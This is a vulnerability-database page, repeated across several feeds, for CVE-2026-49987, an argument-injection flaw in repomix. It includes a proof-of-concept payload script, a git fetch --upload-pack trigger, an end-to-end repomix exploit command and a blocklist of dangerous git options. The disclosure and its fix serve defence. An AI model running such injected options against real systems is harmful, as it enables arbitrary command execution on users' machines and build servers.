CVE-2026-49987 (GCVE-0-2026-49987)
Vulnerability from cvelistv5 – Published: 2026-07-15 18:06 – Updated: 2026-07-15 19:40
VLAI
EPSS
VEX
Title
Repomix: Command Injection (RCE) via `--remote-branch` Argument Injection
Summary
Repomix is a tool that packs repositories into AI-friendly files. Prior to 1.14.1, src/core/git/gitCommand.ts execGitShallowClone passes the --remote-branch value directly to git fetch and git checkout without validation or --end-of-options, allowing --upload-pack or other Git option injection that bypasses validateGitUrl() dangerous parameter checks and can execute commands through local or SSH-style transports. This issue is fixed in version 1.14.1.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-15 19:40 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/yamadashy/repomix/security/adv… | x_refsource_CONFIRM |
| https://github.com/yamadashy/repomix/commit/92bfa… | x_refsource_MISC |
| https://github.com/yamadashy/repomix/releases/tag… | x_refsource_MISC |
Impacted products
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BREW-REPOMIX-CVE-2026-49987 (GHSA-9MM9-RQHJ-J5MX)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:32 – Updated: 2026-09-23 10:20 – Source website
VLAI
Summary
repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection
Details
Vulnerability Metadata
| Field | Detail |
|---|---|
| Affected Component | src/core/git/gitCommand.ts (execGitShallowClone) |
| Impact | Arbitrary Command Execution / Security Control Bypass |
Summary
The --remote-branch CLI option in repomix is vulnerable to argument injection. User-supplied input is passed directly to git fetch and git checkout subprocesses via child_process.execFileAsync without sanitization, -- delimiters, or validation.
An attacker can inject arbitrary git command-line options. By injecting the --upload-pack option and specifying an SSH (git@...) or local (file://) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running repomix. This bypasses the existing dangerousParams blocklist implemented in validateGitUrl().
Vulnerable Code Analysis
File: src/core/git/gitCommand.ts
The remoteBranch parameter is appended directly to the arguments array for git subprocesses without the -- positional delimiter.
Sink 1 (Lines 118-127):
await deps.execFileAsync(
'git',
['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable
gitRemoteOpts,
);
Sink 2 (Lines 148-151):
await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable
Bypassed Security Control (Lines 192-197):
The application attempts to prevent this exact vulnerability class by blocking dangerous parameters (--upload-pack, --receive-pack, --config, --exec) within the validateGitUrl function. However, this validation is exclusively applied to the url variable and omitted for remoteBranch, creating a direct bypass.
Attack Flow
[Source] repomix --remote-branch <injected_option>
↓
src/cli/actions/remoteAction.ts:226 (cloneRepository)
↓
src/core/git/gitCommand.ts:118 (execGitShallowClone)
↓
[Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload'])
↓
[Execution] git invokes the payload binary via transport helper
Proof of Concept (Steps to Reproduce)
1. Create the Payload Create an executable bash script that writes system execution context to a file. (Reference: Screenshot_2026-05-18_13_02_16.png)
cat > /tmp/malicious-pack << 'EOF'
#!/bin/bash
echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt
id >> /tmp/repomix-pwned.txt
EOF
chmod +x /tmp/malicious-pack
2. Trigger the Vulnerability
Establish a dummy remote and trigger the fetch operation, injecting the --upload-pack argument.
(Reference: Screenshot_2026-05-18_13_08_36.png)
# Setup dummy bare remote
git init --bare /tmp/dummy-remote.git
# Initialize local repo and add remote
mkdir /tmp/test-fetch && cd /tmp/test-fetch
git init
git remote add origin file:///tmp/dummy-remote.git
# Execute vulnerability
git fetch --upload-pack=/tmp/malicious-pack origin 2>&1
3. Verify Execution
Execution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a 128 exit code.
cat /tmp/repomix-pwned.txt
Expected Output:
=== RCE EXECUTED ===
uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...
End-to-End Execution via Repomix:
repomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'
Impact
- Remote Code Execution: Complete system compromise with the privileges of the user executing
repomix. - CI/CD Compromise: If
repomixis utilized in automated pipelines where--remote-branchis populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.
Remediation
1. Implement Positional Delimiters (Primary Fix)
Append the -- delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing remoteBranch.
await deps.execFileAsync(
'git',
['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch],
gitRemoteOpts,
);
2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)
Update execGitShallowClone to validate remoteBranch against the existing dangerousParams array.
const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];
if (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) {
throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);
}
Attachments
Screenshot 1: Payload script created with executable permissions.
Screenshot 2: Vulnerable Code
Screenshot 3: Verifying RCE.
Credits
This vulnerability was discovered and responsibly disclosed by: - Researcher: Abhijith S. - GitHub: @kakashi-kx - HackerOne/Bugcrowd: kakashi4kx
Severity
8.8 (High)
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
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"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "1.14.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "repomix",
"purl": "pkg:brew/repomix"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.1"
},
{
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}
],
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}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "npm",
"key": "pkg:npm/repomix@1.18.1",
"name": "repomix",
"strategy": "registry",
"subject_version": "1.18.1"
}
]
},
"details": "### Vulnerability Metadata\n\n| Field | Detail |\n| --- | --- |\n| **Affected Component** | `src/core/git/gitCommand.ts` (`execGitShallowClone`) |\n| **Impact** | Arbitrary Command Execution / Security Control Bypass |\n\n### Summary\n\nThe `--remote-branch` CLI option in `repomix` is vulnerable to argument injection. User-supplied input is passed directly to `git fetch` and `git checkout` subprocesses via `child_process.execFileAsync` without sanitization, `--` delimiters, or validation.\n\nAn attacker can inject arbitrary git command-line options. By injecting the `--upload-pack` option and specifying an SSH (`git@...`) or local (`file://`) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running `repomix`. This bypasses the existing `dangerousParams` blocklist implemented in `validateGitUrl()`.\n\n### Vulnerable Code Analysis\n\n**File:** `src/core/git/gitCommand.ts`\n\nThe `remoteBranch` parameter is appended directly to the arguments array for git subprocesses without the `--` positional delimiter.\n\n**Sink 1 (Lines 118-127):**\n\n```typescript\nawait deps.execFileAsync(\n \u0027git\u0027,\n [\u0027-C\u0027, directory, \u0027fetch\u0027, \u0027--depth\u0027, \u00271\u0027, \u0027origin\u0027, remoteBranch], // Vulnerable\n gitRemoteOpts,\n);\n\n```\n\n**Sink 2 (Lines 148-151):**\n\n```typescript\nawait deps.execFileAsync(\u0027git\u0027, [\u0027-C\u0027, directory, \u0027checkout\u0027, remoteBranch]); // Vulnerable\n\n```\n\n**Bypassed Security Control (Lines 192-197):**\nThe application attempts to prevent this exact vulnerability class by blocking dangerous parameters (`--upload-pack`, `--receive-pack`, `--config`, `--exec`) within the `validateGitUrl` function. However, this validation is exclusively applied to the `url` variable and omitted for `remoteBranch`, creating a direct bypass.\n\n### Attack Flow\n\n```text\n[Source] repomix --remote-branch \u003cinjected_option\u003e\n \u2193\nsrc/cli/actions/remoteAction.ts:226 (cloneRepository)\n \u2193\nsrc/core/git/gitCommand.ts:118 (execGitShallowClone)\n \u2193\n[Sink] execFileAsync(\u0027git\u0027, [\u0027...\u0027, \u0027origin\u0027, \u0027--upload-pack=/tmp/payload\u0027])\n \u2193\n[Execution] git invokes the payload binary via transport helper\n\n```\n\n### Proof of Concept (Steps to Reproduce)\n\n**1. Create the Payload**\nCreate an executable bash script that writes system execution context to a file.\n*(Reference: Screenshot_2026-05-18_13_02_16.png)*\n\n```bash\ncat \u003e /tmp/malicious-pack \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\necho \"=== RCE EXECUTED ===\" \u003e /tmp/repomix-pwned.txt\nid \u003e\u003e /tmp/repomix-pwned.txt\nEOF\nchmod +x /tmp/malicious-pack\n\n```\n\n**2. Trigger the Vulnerability**\nEstablish a dummy remote and trigger the fetch operation, injecting the `--upload-pack` argument.\n*(Reference: Screenshot_2026-05-18_13_08_36.png)*\n\n```bash\n# Setup dummy bare remote\ngit init --bare /tmp/dummy-remote.git\n\n# Initialize local repo and add remote\nmkdir /tmp/test-fetch \u0026\u0026 cd /tmp/test-fetch\ngit init\ngit remote add origin file:///tmp/dummy-remote.git\n\n# Execute vulnerability\ngit fetch --upload-pack=/tmp/malicious-pack origin 2\u003e\u00261\n\n```\n\n**3. Verify Execution**\nExecution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a `128` exit code.\n\n```bash\ncat /tmp/repomix-pwned.txt\n\n```\n\n*Expected Output:*\n\n```text\n=== RCE EXECUTED ===\nuid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...\n\n```\n\n**End-to-End Execution via Repomix:**\n\n```bash\nrepomix --remote git@github.com:yamadashy/repomix.git --remote-branch \u0027--upload-pack=/tmp/malicious-pack\u0027\n\n```\n\n### Impact\n\n* **Remote Code Execution:** Complete system compromise with the privileges of the user executing `repomix`.\n* **CI/CD Compromise:** If `repomix` is utilized in automated pipelines where `--remote-branch` is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.\n\n### Remediation\n\n**1. Implement Positional Delimiters (Primary Fix)**\nAppend the `--` delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing `remoteBranch`.\n\n```typescript\nawait deps.execFileAsync(\n \u0027git\u0027,\n [\u0027-C\u0027, directory, \u0027fetch\u0027, \u0027--depth\u0027, \u00271\u0027, \u0027origin\u0027, \u0027--\u0027, remoteBranch],\n gitRemoteOpts,\n);\n\n```\n\n**2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)**\nUpdate `execGitShallowClone` to validate `remoteBranch` against the existing `dangerousParams` array.\n\n```typescript\nconst dangerousParams = [\u0027--upload-pack\u0027, \u0027--receive-pack\u0027, \u0027--config\u0027, \u0027--exec\u0027];\n\nif (remoteBranch \u0026\u0026 dangerousParams.some((param) =\u003e remoteBranch.includes(param))) {\n throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);\n}\n\n```\n\n### Attachments \n\n**Screenshot 1:** Payload script created with executable permissions.\n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_02_16\" src=\"https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0\" /\u003e\n\n\n**Screenshot 2:** Vulnerable Code \n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_03_44\" src=\"https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032\" /\u003e\n\n\n**Screenshot 3:** Verifying RCE.\n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_08_36\" src=\"https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135\" /\u003e\n\n\n\n\n\n---\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed by:\n- **Researcher:** Abhijith S.\n- **GitHub:** [@kakashi-kx](https://github.com/kakashi-kx)\n- **HackerOne/Bugcrowd:** [kakashi4kx](https://hackerone.com/kakashi4kx)",
"id": "BREW-repomix-CVE-2026-49987",
"modified": "2026-09-23T10:20:52Z",
"published": "2026-08-13T17:32:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamadashy/repomix/security/advisories/GHSA-9mm9-rqhj-j5mx"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamadashy/repomix"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection",
"upstream": [
"GHSA-9mm9-rqhj-j5mx",
"CVE-2026-49987"
]
}
FKIE_CVE-2026-49987
Vulnerability from fkie_nvd - Published: 2026-07-15 19:17 - Updated: 2026-08-18 16:41
Severity
Summary
Repomix is a tool that packs repositories into AI-friendly files. Prior to 1.14.1, src/core/git/gitCommand.ts execGitShallowClone passes the --remote-branch value directly to git fetch and git checkout without validation or --end-of-options, allowing --upload-pack or other Git option injection that bypasses validateGitUrl() dangerous parameter checks and can execute commands through local or SSH-style transports. This issue is fixed in version 1.14.1.
References
{
"affected": [
{
"affectedData": [
{
"product": "repomix",
"vendor": "yamadashy",
"versions": [
{
"status": "affected",
"version": "\u003c 1.14.1"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:yamadashy:repomix:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E3E2F321-6DBB-4AB8-BBD0-15408A1DE746",
"versionEndExcluding": "1.14.1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Repomix is a tool that packs repositories into AI-friendly files. Prior to 1.14.1, src/core/git/gitCommand.ts execGitShallowClone passes the --remote-branch value directly to git fetch and git checkout without validation or --end-of-options, allowing --upload-pack or other Git option injection that bypasses validateGitUrl() dangerous parameter checks and can execute commands through local or SSH-style transports. This issue is fixed in version 1.14.1."
}
],
"id": "CVE-2026-49987",
"lastModified": "2026-08-18T16:41:12.770",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "ACTIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-49987",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-15T19:40:25.260913Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-15T19:17:25.483",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/yamadashy/repomix/commit/92bfa3193b5233a0d21beff929444153c088de82"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/yamadashy/repomix/releases/tag/v1.14.1"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory",
"Mitigation"
],
"url": "https://github.com/yamadashy/repomix/security/advisories/GHSA-9mm9-rqhj-j5mx"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory",
"Mitigation"
],
"url": "https://github.com/yamadashy/repomix/security/advisories/GHSA-9mm9-rqhj-j5mx"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-88"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-9MM9-RQHJ-J5MX
Vulnerability from github – Published: 2026-07-01 19:00 – Updated: 2026-07-01 19:00
VLAI
Summary
repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection
Details
Vulnerability Metadata
| Field | Detail |
|---|---|
| Affected Component | src/core/git/gitCommand.ts (execGitShallowClone) |
| Impact | Arbitrary Command Execution / Security Control Bypass |
Summary
The --remote-branch CLI option in repomix is vulnerable to argument injection. User-supplied input is passed directly to git fetch and git checkout subprocesses via child_process.execFileAsync without sanitization, -- delimiters, or validation.
An attacker can inject arbitrary git command-line options. By injecting the --upload-pack option and specifying an SSH (git@...) or local (file://) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running repomix. This bypasses the existing dangerousParams blocklist implemented in validateGitUrl().
Vulnerable Code Analysis
File: src/core/git/gitCommand.ts
The remoteBranch parameter is appended directly to the arguments array for git subprocesses without the -- positional delimiter.
Sink 1 (Lines 118-127):
await deps.execFileAsync(
'git',
['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable
gitRemoteOpts,
);
Sink 2 (Lines 148-151):
await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable
Bypassed Security Control (Lines 192-197):
The application attempts to prevent this exact vulnerability class by blocking dangerous parameters (--upload-pack, --receive-pack, --config, --exec) within the validateGitUrl function. However, this validation is exclusively applied to the url variable and omitted for remoteBranch, creating a direct bypass.
Attack Flow
[Source] repomix --remote-branch <injected_option>
↓
src/cli/actions/remoteAction.ts:226 (cloneRepository)
↓
src/core/git/gitCommand.ts:118 (execGitShallowClone)
↓
[Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload'])
↓
[Execution] git invokes the payload binary via transport helper
Proof of Concept (Steps to Reproduce)
1. Create the Payload Create an executable bash script that writes system execution context to a file. (Reference: Screenshot_2026-05-18_13_02_16.png)
cat > /tmp/malicious-pack << 'EOF'
#!/bin/bash
echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt
id >> /tmp/repomix-pwned.txt
EOF
chmod +x /tmp/malicious-pack
2. Trigger the Vulnerability
Establish a dummy remote and trigger the fetch operation, injecting the --upload-pack argument.
(Reference: Screenshot_2026-05-18_13_08_36.png)
# Setup dummy bare remote
git init --bare /tmp/dummy-remote.git
# Initialize local repo and add remote
mkdir /tmp/test-fetch && cd /tmp/test-fetch
git init
git remote add origin file:///tmp/dummy-remote.git
# Execute vulnerability
git fetch --upload-pack=/tmp/malicious-pack origin 2>&1
3. Verify Execution
Execution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a 128 exit code.
cat /tmp/repomix-pwned.txt
Expected Output:
=== RCE EXECUTED ===
uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...
End-to-End Execution via Repomix:
repomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'
Impact
- Remote Code Execution: Complete system compromise with the privileges of the user executing
repomix. - CI/CD Compromise: If
repomixis utilized in automated pipelines where--remote-branchis populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.
Remediation
1. Implement Positional Delimiters (Primary Fix)
Append the -- delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing remoteBranch.
await deps.execFileAsync(
'git',
['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch],
gitRemoteOpts,
);
2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)
Update execGitShallowClone to validate remoteBranch against the existing dangerousParams array.
const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];
if (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) {
throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);
}
Attachments
Screenshot 1: Payload script created with executable permissions.
Screenshot 2: Vulnerable Code
Screenshot 3: Verifying RCE.
Credits
This vulnerability was discovered and responsibly disclosed by: - Researcher: Abhijith S. - GitHub: @kakashi-kx - HackerOne/Bugcrowd: kakashi4kx
Severity
8.8 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "repomix"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49987"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T19:00:50Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Vulnerability Metadata\n\n| Field | Detail |\n| --- | --- |\n| **Affected Component** | `src/core/git/gitCommand.ts` (`execGitShallowClone`) |\n| **Impact** | Arbitrary Command Execution / Security Control Bypass |\n\n### Summary\n\nThe `--remote-branch` CLI option in `repomix` is vulnerable to argument injection. User-supplied input is passed directly to `git fetch` and `git checkout` subprocesses via `child_process.execFileAsync` without sanitization, `--` delimiters, or validation.\n\nAn attacker can inject arbitrary git command-line options. By injecting the `--upload-pack` option and specifying an SSH (`git@...`) or local (`file://`) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running `repomix`. This bypasses the existing `dangerousParams` blocklist implemented in `validateGitUrl()`.\n\n### Vulnerable Code Analysis\n\n**File:** `src/core/git/gitCommand.ts`\n\nThe `remoteBranch` parameter is appended directly to the arguments array for git subprocesses without the `--` positional delimiter.\n\n**Sink 1 (Lines 118-127):**\n\n```typescript\nawait deps.execFileAsync(\n \u0027git\u0027,\n [\u0027-C\u0027, directory, \u0027fetch\u0027, \u0027--depth\u0027, \u00271\u0027, \u0027origin\u0027, remoteBranch], // Vulnerable\n gitRemoteOpts,\n);\n\n```\n\n**Sink 2 (Lines 148-151):**\n\n```typescript\nawait deps.execFileAsync(\u0027git\u0027, [\u0027-C\u0027, directory, \u0027checkout\u0027, remoteBranch]); // Vulnerable\n\n```\n\n**Bypassed Security Control (Lines 192-197):**\nThe application attempts to prevent this exact vulnerability class by blocking dangerous parameters (`--upload-pack`, `--receive-pack`, `--config`, `--exec`) within the `validateGitUrl` function. However, this validation is exclusively applied to the `url` variable and omitted for `remoteBranch`, creating a direct bypass.\n\n### Attack Flow\n\n```text\n[Source] repomix --remote-branch \u003cinjected_option\u003e\n \u2193\nsrc/cli/actions/remoteAction.ts:226 (cloneRepository)\n \u2193\nsrc/core/git/gitCommand.ts:118 (execGitShallowClone)\n \u2193\n[Sink] execFileAsync(\u0027git\u0027, [\u0027...\u0027, \u0027origin\u0027, \u0027--upload-pack=/tmp/payload\u0027])\n \u2193\n[Execution] git invokes the payload binary via transport helper\n\n```\n\n### Proof of Concept (Steps to Reproduce)\n\n**1. Create the Payload**\nCreate an executable bash script that writes system execution context to a file.\n*(Reference: Screenshot_2026-05-18_13_02_16.png)*\n\n```bash\ncat \u003e /tmp/malicious-pack \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\necho \"=== RCE EXECUTED ===\" \u003e /tmp/repomix-pwned.txt\nid \u003e\u003e /tmp/repomix-pwned.txt\nEOF\nchmod +x /tmp/malicious-pack\n\n```\n\n**2. Trigger the Vulnerability**\nEstablish a dummy remote and trigger the fetch operation, injecting the `--upload-pack` argument.\n*(Reference: Screenshot_2026-05-18_13_08_36.png)*\n\n```bash\n# Setup dummy bare remote\ngit init --bare /tmp/dummy-remote.git\n\n# Initialize local repo and add remote\nmkdir /tmp/test-fetch \u0026\u0026 cd /tmp/test-fetch\ngit init\ngit remote add origin file:///tmp/dummy-remote.git\n\n# Execute vulnerability\ngit fetch --upload-pack=/tmp/malicious-pack origin 2\u003e\u00261\n\n```\n\n**3. Verify Execution**\nExecution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a `128` exit code.\n\n```bash\ncat /tmp/repomix-pwned.txt\n\n```\n\n*Expected Output:*\n\n```text\n=== RCE EXECUTED ===\nuid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...\n\n```\n\n**End-to-End Execution via Repomix:**\n\n```bash\nrepomix --remote git@github.com:yamadashy/repomix.git --remote-branch \u0027--upload-pack=/tmp/malicious-pack\u0027\n\n```\n\n### Impact\n\n* **Remote Code Execution:** Complete system compromise with the privileges of the user executing `repomix`.\n* **CI/CD Compromise:** If `repomix` is utilized in automated pipelines where `--remote-branch` is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.\n\n### Remediation\n\n**1. Implement Positional Delimiters (Primary Fix)**\nAppend the `--` delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing `remoteBranch`.\n\n```typescript\nawait deps.execFileAsync(\n \u0027git\u0027,\n [\u0027-C\u0027, directory, \u0027fetch\u0027, \u0027--depth\u0027, \u00271\u0027, \u0027origin\u0027, \u0027--\u0027, remoteBranch],\n gitRemoteOpts,\n);\n\n```\n\n**2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)**\nUpdate `execGitShallowClone` to validate `remoteBranch` against the existing `dangerousParams` array.\n\n```typescript\nconst dangerousParams = [\u0027--upload-pack\u0027, \u0027--receive-pack\u0027, \u0027--config\u0027, \u0027--exec\u0027];\n\nif (remoteBranch \u0026\u0026 dangerousParams.some((param) =\u003e remoteBranch.includes(param))) {\n throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);\n}\n\n```\n\n### Attachments \n\n**Screenshot 1:** Payload script created with executable permissions.\n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_02_16\" src=\"https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0\" /\u003e\n\n\n**Screenshot 2:** Vulnerable Code \n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_03_44\" src=\"https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032\" /\u003e\n\n\n**Screenshot 3:** Verifying RCE.\n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_08_36\" src=\"https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135\" /\u003e\n\n\n\n\n\n---\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed by:\n- **Researcher:** Abhijith S.\n- **GitHub:** [@kakashi-kx](https://github.com/kakashi-kx)\n- **HackerOne/Bugcrowd:** [kakashi4kx](https://hackerone.com/kakashi4kx)",
"id": "GHSA-9mm9-rqhj-j5mx",
"modified": "2026-07-01T19:00:50Z",
"published": "2026-07-01T19:00:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamadashy/repomix/security/advisories/GHSA-9mm9-rqhj-j5mx"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamadashy/repomix"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
